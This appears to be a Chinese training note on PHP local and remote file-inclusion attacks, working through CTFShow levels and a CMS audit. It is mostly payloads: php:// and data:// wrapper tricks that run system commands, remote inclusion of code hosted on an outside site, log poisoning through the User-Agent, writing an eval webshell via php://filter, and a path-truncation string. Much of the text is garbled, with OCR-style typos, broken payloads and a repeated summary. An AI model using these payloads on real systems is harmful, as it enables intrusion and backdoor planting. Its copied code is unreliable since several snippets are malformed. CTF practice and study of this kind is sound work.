V2022全栈培训笔记(WEB攻防42-WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协编码算法&代码审计)

发布时间:2023年12月28日

第42天 WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协编码算法&代码审计

知识点:

1、解释什么是文件包含
2、分类-本地LF月&远程RFI
3、利用-配合上传&日志&会话
4、利用-伪协议&编码&算法等

#核心知识:
1、本地包含LF1&远程包含RF1-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定
2、各类脚本语言包含代码写法-见下文

<!--#include file="1.asp"-->
<!--#include file="top.aspx"->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@include file="head.jsp"%>
<?php Include(test.php')?>

3、各类却本语言包含伪协议玩法-见图
https://www.cnblogs.com/endust/p/11804767.html

#思路要点:

黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现: 1、可通过应用功能追踪代码定位审计
2、可通过却本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

#本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码国定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时

演示案例:

前置知识-原理&分类&探针&利用&修复
CTF应用-CTFSHOW-78关卡到117关卡
CMS源码-XHCMS-代码审计&日志&绕过

#前置知识-原理&分类&探针&利用&修复
比如说1.php写入phpinfo(); 然后2.txt写入 include(‘1.txt’);那么在访问2.php时就会返回1.php中的内容,同样过滤也是,只需要先将过滤的函数定义好,然后在需要过滤的地方直接include,相当于引用。包含即执行,php文件中包含txt文件,也会以php执行。
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/99fe796723ae4fed9c6300ee04944f04.png

#CTF应用-CTFSHOW-78关卡到117关卡
PHP伪协议参考链接:https://segmentfault.com/a/1190000018991087
78-php&http协议
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
payload:?file=php://input post:<?php system('tac flag.php');? payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
思路:观察网站并不存在上传点,只有传参处–尝试直接读取flag.php(?file=flag.php)并无返回结果,然后尝试使用伪协议 (php://input 使用post提交数据)–再使用php system执行读取当前路径文件ls–读取文件内容tac
在这里插入图片描述
79-data&http协议
payload:?file=data://text/plain.<?=system(tac flag.")?>I
payload
?file=data://text/plain:base64.PD9waHAgc3lzdGVtKCdoYWMgZmxhZy5waHAnKTs/Pg==
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
思路:有前端JS可知此处过滤了php字符,所以可以使用data、http远程包含绕过
在这里插入图片描述
80 81-日志包含
1、利用其他协议如fle,zib等
2、利用日志记录UA特性包含执行
分忻需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:var/log/nginx/access.log
思路:有JS代码可以此处过滤了PHP和DATA协议,尝试使用http远程包含也没有返回结果说明网站关闭了远程文件包含
在这里插入图片描述
在这里插入图片描述
后续只能使用zip和 file协议 但是两者都需要知道文件的绝对路径,通过信息收集知道中间件为nginx,尝试读取日志文件,/var/log/nginx/acess.log,读取成功尝试通过修改UA信息写入读取当前路径文件(<?php system('ls');?>)–读取flag(<?php system('cat fl0g.php'); ?>)
在这里插入图片描述
81关 增加过滤了 : 仍可以使用日志文件绕过
82-86-SESSION包含

https://www.cnblogs.com/Interpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html

87-php:/filter/write&加密编码

1、利用base64
ur编a码2次:php/filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwOJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
ur编码2次:php:/filter/write=string.rot13/resource=2.php
content=<?cuc flfgrz('gnp s*.cuc'):?>  

思路:增加了 “.” 过滤,致使不能直接使用日志,所以使用编码绕过,这里使用php写入参数,然后传参出写入后门代码读取
在这里插入图片描述
在这里插入图片描述

88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdoYWMgKi5waHAnKTtlY2hvIDEyMz
s/PmFK

思路:此处过滤如下图,没有过滤data,尝试将data后数据进行base64编码绕过。

convert.iconv.:一种过滤器,和使用iconvO?数处理流数据有等同作用
<?php
$result iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]):?>)
echo"经过一次反转:"$result."\n"
echo"经过第二次反转:".iconv(UCS-2LE","UCS-2BE",$result):>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvelas(P_SO【】a,)>?

#CMS源码-XHCMS-代码审计&日志&绕过
1、搜索特定函数寻包含点
2、国定目录及后缀名需绕过
3、由CMS无上传用日志包含
4、利用长度绕过后缀名固定

Payload:
?re../../Apache/logs/access..log1.11111.111.1111I.11.11.1111.1.111.1.1I1L1.II1.1.1111.1.111.
.1/111.1.1111111111.1.11111.11111.L.1.1.11.1111/11111111.11.1111/1.1
1.1/11.1.11.1..11111.1.111.1/1.1//1.1./1/.1.111/1.11.1/111111.//1/1//.///111./1U
L1/1.1.11.11/11111111.11.111/11111///..11L11111111

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

#本课总结:

1、有可控文件如能上传文件,配合上传后包含

2、无可控文件可以利用日志或Session&伪协议

3、代码固定目录及文件后缀时需考虑版本绕过

4、伪协议玩法是建立在代码中只有变量存在时

文章来源:https://blog.csdn.net/qq_46343633/article/details/135196277
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。